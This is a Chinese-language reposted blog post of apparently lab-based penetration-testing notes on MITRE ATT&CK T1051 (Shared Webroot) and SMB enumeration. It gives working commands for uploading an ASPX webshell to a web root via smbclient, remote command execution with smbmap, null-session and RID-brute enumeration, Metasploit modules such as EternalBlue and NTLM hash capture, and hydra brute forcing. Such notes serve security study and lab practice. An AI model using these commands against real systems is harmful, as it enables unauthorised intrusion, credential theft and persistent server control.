0

0

T1051: Shared Webroot

絕刀狂花

絕刀狂花

发布时间:2025-09-08 08:13:20

|

895人浏览过

|

来源于php中文网

原创

笔者在研究 mitre att&ck t1051 时,发现此技术已被废弃,意味着其已过时且在野使用案例已不多见。

经与@九世讨论,发现靶机中这种情况较为普遍,因此有必要记录下来。

简单来说,使用 smbclient 可以上传 webshell。

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

Sora
Sora

Sora是OpenAI发布的一种文生视频AI大模型,可以根据文本指令创建现实和富有想象力的场景。

下载
smbclient -L //192.168.3.71 -U 0day/jerry%Admin12345  #列出共享
smbclient //192.168.3.71/wwwroot -U 0day/jerry
smb: \> put /usr/share/webshells/aspx/cmdasp.aspx c.aspx #交互式 shell 上传文件
smbclient {{//server/share}} --directory {{path/to/directory}} --command "put {{file.txt}}"
smbclient //192.168.3.71/wwwroot -U guest%"" --command="put /home/kali/webshell.aspx webshell.aspx"  #密码为空,如目标文件夹 Everyone 用户具有读写权限
#访问 http://192.157.3.71/webshell.aspx 即可

番外篇——SMB

既然接触了 SMB,笔者查阅了相关资料,发现这个服务非常常见,内网中许多脆弱点都是通过它打开的。

SMB(Server Message Block)是一种应用层协议,其历史比我们想象的更悠久,估计阅读此笔记的人都没有 SMB 的年龄大(Barry Feigenbaum 于 1983 年初在 IBM 设计了 SMB,这是一种文件共享协议,即 SMB1)。

1996 年,Microsoft 在 Windows NT 4.0 中实现了 SMB1,即 CIFS,请注意,大多数时候更倾向于称之为 SMB。

简要列举 Windows 的 SMB 版本:

协议版本 使用该协议的 Windows 版本
SMB1.0 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2
SMB2.0 Windows Vista 和 Windows Server 2008
SMB2.1 Windows 7 和 Windows Server 2008 R2
SMB3.0 Windows 8 和 Windows Server 2012
SMB3.02 Windows 8.1 和 Windows Server 2012 R2
SMB3.1.1 Windows 10 和 Windows Server 2016

在各种 SMB 资料中,你会频繁看到一个协议:NetBIOS 协议。

这里所指的 NetBIOS 协议是 Windows 下的 NetBIOS over TCP(简称 NBT)协议,实际上 NetBIOS 是一种局域网中的 API,没有定义协议,TCP/IP 上的 NetBIOS 通过 TCP/IP 协议提供了 NetBIOS API。

简要重点说明如下:

基于 TCP 的 NetBIOS 使用以下端口:

  • nbname 137/UDP nbname 137/TCP
  • nbdatagram 138/UDP
  • nbsession 139/TCP

可在本地连接——属性——TCP/IPv4——属性——高级——WINS——禁用 TCP/IP 上的 NetBIOS 来关闭 NetBIOS 协议。Windows 上的实现为 NetBios Name Service(NBNS),显示名称为 TCP/IP NetBIOS Helper,服务名称为 lmhosts,和 Hosts 文件类似,存在 LMhosts 文件,Windows 中的路径是 %Systemroot%\System32\Drivers\Etc\lmhosts.sam,Linux 中在 samba configs 目录中,一般是 /etc/samba 或 /usr/local/samba/lib。WINS(Windows Internet Name Service)可以将 NetBIOS 名称解析为对应的 IP 地址(与 DNS 有些区别),是为了解决 NetBIOS 名不可路由而出现的。说了很多废话,大家理解其中的关键就好。

SMB 枚举

参考:

A Little Guide to SMB Enumeration

使用的一些工具

Nmblookup、nbtscan、SMBMap、Smbclient、Rpcclient、Nmap、Enum4linux、Crackmapexec

Nmblookup

nmblookup -A 192.168.3.142

T1051: Shared Webroot

NetBIOS 借助 NetBIOS 名称后缀进行分类:

Suffix Service/Description
00 Workstation Service (workstation name)
1C Domain Controller
20 File Server Service
1B Domain Master Browser

完整的后缀名建议参考该文章:Appendix C: Known NetBIOS Suffix Values

简单查看可以获得目标所在的域、域控在哪台机器、计算机名。

nbtscan 192.168.3.0/24

T1051: Shared Webroot

枚举了一个网段中 NetBIOS 名称

smbmp

Kali 中自带的 smbmp 会遇到一些问题,请使用作者的最新版 SMBMap。

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

python3 -m pip install -r requirements.txt
python3 smbmap.py -u jerry -p Admin12345 -d workgroup -H 192.168.3.71
python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -x 'whoami' #执行命令
python3 smbmap.py -u administrator -p 'Admin!@#45' -d 0day -H 192.168.3.142 -r 'C$\Users' #递归路径(等同于 ls)
#另外,该应用同样支持 hash,不必使用明文密码

T1051: Shared Webroot

Rpcclient

最初开发 Rpcclient 是为了测试 Samba 本身的 MS-RPC 功能,

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

rpcclient -U "" -N 192.168.1.71 #不使用用户名和密码,我们称为空会话,从 Windows XP SP3 和 Windows Server 2003 开始就不支持空会话
rpcclient -U 0day/Administrator%'Admin!@#45' 192.168.3.71
enumdomusers
queryuser 0x3e9 #3e9 = 1001
srvinfo
help #相关指令请参考 help 手册,这里不过多介绍,看下面效果

T1051: Shared Webroot

enum4linux

enum4linux -a 192.168.1.142 #默认空会话基本废了,不大可能遇到 03 的机器

enum4linux -u jerry -p Admin12345 -a 192.168.3.71 #枚举出来的信息非常不友好,

T1051: Shared Webroot

nmap

nmap --script smb-vuln* -p139,445 192.168.1.103 #原文命令是这个,笔者使用报错

ls /usr/share/nmap/scripts/ | grep smb #查看 smb 相关的 nse 脚本

nmap --script smb-vuln-conficker -p135,445 192.168.3.71 #笔者只能一个个这样使用

CrackMapExec

CrackMapExec 是笔者比较推荐的,如果这些工具选一个,那么 CME 就够了。

依赖 impacket,所以 impacket 就不介绍了。

参考:CrackMapExec - Cheatsheet

笔者使用的 cme 5.1.0dev -x 执行选项暂时有问题,还未解决

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

cme smb 192.168.3.0/24
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --loggedon-users
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --disk
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --sessions
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --users
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --groups
cme smb 192.168.3.71  -u administrator -p 'Admin!@#45'  -d 0day --local-groups

为什么我没有使用本地管理用户,理论上来说本地管理就可以,使用本地管理时遇到 rpc_s_access_denied,暂无法解释该错误,所以这里使用的是域管

需要明确时上述命令实际上都是对通过 rpc 对一些常用命令进行封装,自带的命令都能实现同样的效果 net user、net localgroup、net sessions

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth  --shares
cme smb 192.168.3.71  -u jerry -p 'Admin12345' --local-auth --rid-brute

更多命令参考 help 手册

T1051: Shared Webroot

SMB Penetration Testing

参考:

SMB Penetration Testing (Port 445)

简要记录下,核心仍然是 nmap、Metasploit、hydra 等工具

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

nmap -p 445 -A 192.168.3.71
nmap -T4 -p445 --script smb-vuln-ms17-010 192.168.3.71
nmap --script smb-vuln* -p 445 192.168.3.71 #前面说过这个命令,使用起来会有些问题

Metasploit

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

use exploit/windows/smb/ #exploit 中的 smb 相关模块
use auxiliary/scanner/smb/ #auxiliary 中的 smb 相关模块

介绍几个模块:

exploit/windows/smb/smb_delivery exploit/windows/smb/psexec exploit/windows/smb/ms17_010_eternalblue exploit/windows/smb/psexec auxiliary/server/capture/smb 结合 auxiliary/spoof/nbns/nbns_response 可捕获 Net NTLMv2 hash,使用解密工具解密即可, auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop auxiliary/scanner/smb/smb_enumusers :枚举用户 post/windows/gather/enum_shares 参数部分使用 show options 查看配置选项即可。

需要说明,上面一些模块不适用于测试,请自行取舍。

另外记得关注的最新 CVE-2020-0796。

Hydra

以下是使用 JavaScript 语言的代码示例,执行次数为 0:

hydra -L user.txt -P pass.txt 192.168.3.71 smb #暴力破解

T1051: Shared Webroot

END

文章 | 伍默

图文 | 不可商用

在此感谢伍默师傅的投稿!

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

WorkBuddy
WorkBuddy

腾讯云推出的AI原生桌面智能体工作台

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

1496

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1170

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

835

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

463

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2362

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

874

2023.08.10

windows boot manager
windows boot manager

windows boot manager无法开机的解决方法:1、系统文件损坏,使用Windows安装光盘或USB启动盘进入恢复环境,选择修复计算机,然后选择自动修复;2、引导顺序错误,进入恢复环境,选择命令提示符,输入命令"bootrec /fixboot"和"bootrec /fixmbr",然后重新启动计算机;3、硬件问题,使用硬盘检测工具进行扫描和修复;4、重装操作系统。本专题还提供其他解决

1976

2023.08.28

windows锁屏快捷键
windows锁屏快捷键

windows锁屏快捷键是Windows键+L、Ctrl+Alt+Del、Windows键+D、Windows键+P和Windows键+R。本专题为大家提供windows相关的文章、下载、课程内容,供大家免费下载体验。

1670

2023.08.30

C# ASP.NET Core微服务架构与API网关实践
C# ASP.NET Core微服务架构与API网关实践

本专题围绕 C# 在现代后端架构中的微服务实践展开,系统讲解基于 ASP.NET Core 构建可扩展服务体系的核心方法。内容涵盖服务拆分策略、RESTful API 设计、服务间通信、API 网关统一入口管理以及服务治理机制。通过真实项目案例,帮助开发者掌握构建高可用微服务系统的关键技术,提高系统的可扩展性与维护效率。

76

2026.03.11

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PostgreSQL 教程
PostgreSQL 教程

共48课时 | 10.5万人学习

Git 教程
Git 教程

共21课时 | 4.2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号